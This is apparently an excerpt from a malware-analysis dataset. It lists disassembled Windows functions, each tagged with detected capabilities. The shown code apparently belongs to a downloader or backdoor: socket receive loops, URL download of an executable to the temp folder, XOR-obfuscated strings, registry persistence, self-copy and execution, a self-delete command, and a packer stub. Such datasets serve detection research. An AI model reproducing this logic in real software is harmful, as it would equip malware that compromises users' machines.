joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41103c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea edi, [ebp - 0x18]
mov esi, 0x10
lea ebx, [ebx]
push 0
push esi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401bc5
add edi, eax
sub esi, eax
jmp 0x401bf2
cmp eax, 0xffffffff
jne 0x401cbc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401cbc
cmp eax, 0x2744
je 0x401cbc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401bb0
cmp dword [ebp - 0x18], 0x1055
je 0x401c8e
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x10
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [0x413110]
mov dword [esi*4 + 0x412d10], eax
test eax, eax
je 0x401cbc
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x10]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0xc]
mov dword [eax + 0xc], edx
cmp dword [ebp - 0xc], 0
jbe 0x401c82
mov esi, dword [esi*4 + 0x412d10]
mov eax, dword [esi + 0xc]
push eax
lea eax, [esi + 0x10]
push ebx
call fcn.00401b30
add esp, 8
test eax, eax
je 0x401ca3
mov esi, dword [0x413110]
mov ecx, dword [esi*4 + 0x412d10]
lea eax, [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
mov edx, eax
call fcn.00401020
inc esi
mov dword [0x413110], esi
jmp 0x401ba2
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004030a6
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x413110]
mov edx, dword [ecx*4 + 0x412d10]
push edx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.004030a6
mov esp, ebp
pop ebp
ret
Function at 0x401df0
Capabilities:
Download url
Get common file path
Receive data
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x41103c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
cmp esi, ebx
je 0x401f23
cmp edi, ebx
jne 0x401e1d
mov edi, str.sec.exe
lea eax, [ebp - 0x808]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401f23
push ebx
push ebx
lea edx, [ebp - 0x80c]
push edx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x401f23
push 0x400
lea eax, [ebp - 0x407]
push ebx
push eax
mov dword [ebp - 0x810], ebx
mov byte [ebp - 0x408], bl
call fcn.00407160
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0xc
lea ebx, [ebx]
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
lea edx, [ebp - 0x810]
push edx
push 0x400
lea edx, [ebp - 0x408]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
push 0
lea ecx, [ebp - 0x814]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
push edi
mov esi, eax
call ebx
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00407160
add esp, 0xc
test esi, esi
js 0x401f0a
cmp esi, 1
jne 0x401eb0
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jns 0x401f25
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004030a6
mov esp, ebp
pop ebp
ret

Function at 0x401f40
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x41103c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x44
xor esi, esi
lea ecx, [ebp - 0x160]
push esi
push ecx
call fcn.00407160
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x160], 0x44
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x134], 0x101
mov word [ebp - 0x130], dx
mov edi, edi
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x160]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edi
push 0
call ebx
test eax, eax
jne 0x401fe9
inc esi
cmp esi, 8
jl 0x401fc0
cmp esi, 8
jne 0x402000
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004030a6
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004030a6
mov esp, ebp
pop ebp
ret
Function at 0x402b30
Capabilities:
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x41103c]
xor eax, esp
mov dword [esp + 0x1a0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x101
xor edi, edi
mov dword [esp + 0x14], 0xea60
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402c3e
cmp byte [str._____8_______], 0
mov eax, str._____8_______
je 0x402b8b
mov ecx, eax
nop
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402b80
xor esi, esi
lea ecx, [ecx]
mov edx, dword [esi*4 + 0x411f64]
mov ecx, esi
shl ecx, 4
sub ecx, esi
lea eax, [ecx*2 + str._____8_______]
push edx
push eax
call fcn.00401460
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x402bf0
inc edi
cmp edi, 3
jle 0x402bdb
inc esi
xor edi, edi
cmp esi, 1
jne 0x402bdb
mov eax, 0xa4cb80
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0xc], 0xea60
jmp 0x402b90
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0xc], 0xea60
jmp 0x402b90
push ebx
call fcn.004019d0
add esp, 4
call fcn.00401b90
test eax, eax
jne 0x402c05
inc edi
jmp 0x402b90
push ebx
call fcn.00402aa0
add esp, 4
push 0
push 0xa
lea eax, [esp + 0x1a8]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x402c2c
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [0x411f68]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402b90
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004030a6
mov esp, ebp
pop ebp
ret

Function at 0x402c60
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, 1
cmp ebx, esi
jle 0x402ce0
lea ebx, [ebx]
mov eax, dword [edi + esi*4]
mov cl, byte [eax]
cmp cl, 0x2d
je 0x402c7f
cmp cl, 0x2f
jne 0x402cdb
movsx eax, byte [eax + 1]
push eax
call fcn.0040352b
add esp, 4
cmp eax, 0x69
je 0x402cac
cmp eax, 0x70
jne 0x402cdb
mov ecx, dword [edi + esi*4]
add ecx, 3
push ecx
call fcn.00403384
add esp, 4
mov dword [0x411f64], eax
jmp 0x402cdb
mov edx, dword [edi + esi*4]
add edx, 3
cmp byte [edx], 0
mov eax, edx
je 0x402ccb
mov ecx, edx
jmp 0x402cc0
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402cc0
push 0x1e
push edx
push str._____8_______
call fcn.00403560
add esp, 0xc
inc esi
cmp esi, ebx
jl 0x402c70
pop esi
ret
Function at 0x402cf0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x41103c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0xb
mov esi, str._ixnjSBfl__iSXfak_xSLzjaYjf_aS_za
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [ebp - 0x68], 0
mov dword [ebp - 0x6c], 0
lea eax, [ebp - 0x68]
je 0x402d30
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402d25
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x68]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [ebp - 0x70]
test esi, esi
je 0x402dc9
mov eax, dword [0x40f3dc]
mov edx, dword [0x40f3d8]
mov cl, byte [0x40f3e0]
mov dword [ebp - 0x64], eax
mov eax, ebx
mov dword [ebp - 0x68], edx
mov byte [ebp - 0x60], cl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402d70
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x68]
cmp byte [ebp - 0x68], cl
je 0x402d90
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402d85
push edx
push ebx
push 1
push 0
lea edx, [ebp - 0x68]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, 1
test eax, eax
je 0x402dad
mov esi, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004030a6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x6c]
pop edi
xor ecx, ebp
pop esi
call fcn.004030a6
mov esp, ebp
pop ebp
ret
Function at 0x402de0
Capabilities:
Create directory
Create process on windows
Encode data using xor
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x41103c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100
lea eax, [ebp - 0x268]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40f3e4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x68], 0
lea eax, [ebp - 0x68]
je 0x402e2c
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402e21
push esi
push edi
push 0
lea edx, [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x80
push 3
push 0
push 1
mov edi, eax
push closesocket
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402fc4
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.00403a8b
add esp, 4
push 0
lea ecx, [ebp - 0x26c]
push ecx
push ebx
push eax
push esi
mov dword [ebp - 0x274], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x402eee
cmp edi, 0xb7
je 0x402eee
cmp edi, 3
jne 0x402f1c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40f420
lea edx, [ebp - 0x68]
push edx
call esi
lea eax, [ebp - 0x68]
call section..text
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.L5S__hnb_IfcjSL_bb_a_IfcjSHn
lea ecx, [ebp - 0x168]
push ecx
call esi
lea eax, [ebp - 0x168]
call section..text
jmp 0x402f1c
push str.L5S__hnbKnnSHn
lea edx, [ebp - 0x168]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x168], 0
lea eax, [ebp - 0x168]
je 0x402f1c
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402f11
lea eax, [ebp - 0x168]
push eax
lea ecx, [ebp - 0x268]
push str.__s___run
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
lea edx, [ebp - 0x168]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402fc3
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x26c]
push eax
push ebx
mov ebx, dword [ebp - 0x274]
push ebx
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
lea ecx, [ebp - 0x26c]
push ecx
push 4
lea edx, [ebp - 0x270]
push edx
push esi
mov dword [ebp - 0x270], eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.00403684
add esp, 4
lea ebx, [ebp - 0x268]
call fcn.00402cf0
test eax, eax
je 0x402fc3
push 0
mov eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.004030a6
mov esp, ebp
pop ebp
ret
Function at 0x402fe0
Capabilities:
Accept command line arguments
Create process on windows
Encode data using xor
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x41103c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
lea eax, [ebp - 0x41c]
push eax
mov eax, esi
call fcn.00401cd0
mov ebx, dword [ebp - 0x41c]
mov edi, eax
call fcn.00402c60
push str._run
push esi
call fcn.00403210
add esp, 0xc
test eax, eax
jne 0x40308e
mov ecx, dword [edi]
push ecx
lea edx, [ebp - 0x418]
push str._c_del__q___s_____NUL
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
call fcn.00402de0
mov ecx, 7
mov esi, str.l5Sxfak_xSvjb_Slbk_jwj
lea edi, [ebp - 0x18]
rep movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
je 0x40306d
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x403062
push 0
push 0
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402b30
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004030a6
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4030a6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41103c]
jne 0x4030b0
repz ret
jmp fcn.00403cab
Function at 0x4096cc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41103c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405f4e
and dword [ebp - 0x14], 0
cmp dword [0x412ca0], 0
mov dword [ebp - 0x18], eax
jne 0x40977f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409827
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409827
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x412ca0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x412ca4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x412ca8], eax
call edi
push eax
call esi
mov dword [0x412cb0], eax
test eax, eax
je 0x40977f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x412cac], eax
mov eax, dword [0x412cac]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4097d8
cmp dword [0x412cb0], ecx
je 0x4097d8
push eax
call esi
push dword [0x412cb0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4097d8
test ebx, ebx
je 0x4097d8
call edi
test eax, eax
je 0x4097cf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4097cf
test byte [ebp - 8], 1
jne 0x4097d8
or dword [ebp + 0x10], 0x200000
jmp 0x40980b
mov eax, dword [0x412ca4]
cmp eax, dword [ebp - 0x18]
je 0x40980b
push eax
call esi
test eax, eax
je 0x40980b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40980b
mov eax, dword [0x412ca8]
cmp eax, dword [ebp - 0x18]
je 0x40980b
push eax
call esi
test eax, eax
je 0x40980b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x412ca0]
call esi
test eax, eax
je 0x409827
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409829
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004030a6
leave
ret
Function at 0x40176f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401779
repz ret
jmp fcn.00401a16

Function at 0x471910
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x471aa1
pushal
mov esi, 0x44802e
lea edi, [esi - 0x4702e]
push edi
or ebp, 0xffffffff
jmp 0x47193a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x471941
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x471930
mov eax, 1
add ebx, ebx
jne 0x471953
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x471948
jne 0x471964
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x471948
xor ecx, ecx
sub eax, 3
jb 0x471978
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4719ea
mov ebp, eax
add ebx, ebx
jne 0x471983
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x471990
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4719b4
inc ecx
add ebx, ebx
jne 0x4719a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x471995
jne 0x4719b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x471995
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4719d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4719c5
jmp 0x471936
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4719d4
add edi, ecx
jmp 0x471936
pop esi
mov edi, esi
mov ecx, 0x27be
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4719f2
cmp byte [edi], 0xd
jne 0x4719f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4719f7
lea edi, [esi + 0x6b000]
mov eax, dword [edi]
or eax, eax
je 0x471a6f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x715d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x716a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x471a24
mov ecx, edi
jns 0x471a53
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x716a4]
or eax, eax
je 0x471a69
mov dword [ebx], eax
add ebx, 4
jmp 0x471a41
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x471aa0
cmp al, 0xef
ja 0x471a93
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x471a75
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x471a82
popal
jmp section..text
Function at 0xe93370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xe9338e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xebc074
push ecx
mov edi, eax
call fcn.00ea7198
mov esi, eax
add esp, 8
test esi, esi
jne 0xe933cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00ea702e
push esi
call fcn.00ea6fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xe96850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xe968ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xec1720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xe968ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00ea71e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xe968ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xec1720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xe9692a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00ea8082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xe96957
mov word [eax], si
add eax, 2
push eax
call fcn.00ea8030
add esp, 4
jmp 0xe96959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xe968ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xe968b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xe96ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xe97080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xe970c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xebc458
push ecx
call fcn.00ea71e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00ea71e1
add esp, 0x10
jmp 0xe970d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00ea720b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00ea6dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00e97050
mov eax, dword [0xec1728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xe9713b
push esi
call fcn.00e96fb0
add esp, 4
mov dword [0xec1728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xe9714c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00e96ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xe9a440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xe9a4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xe9a48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xe9a471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xe9a47e
add edx, ecx
cmp ebx, edx
jb 0xe9a48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xe9a467
xor ecx, ecx
jmp 0xe9a4a2
test eax, eax
jne 0xe9a492
xor ecx, ecx
jmp 0xe9a4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00e9a3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret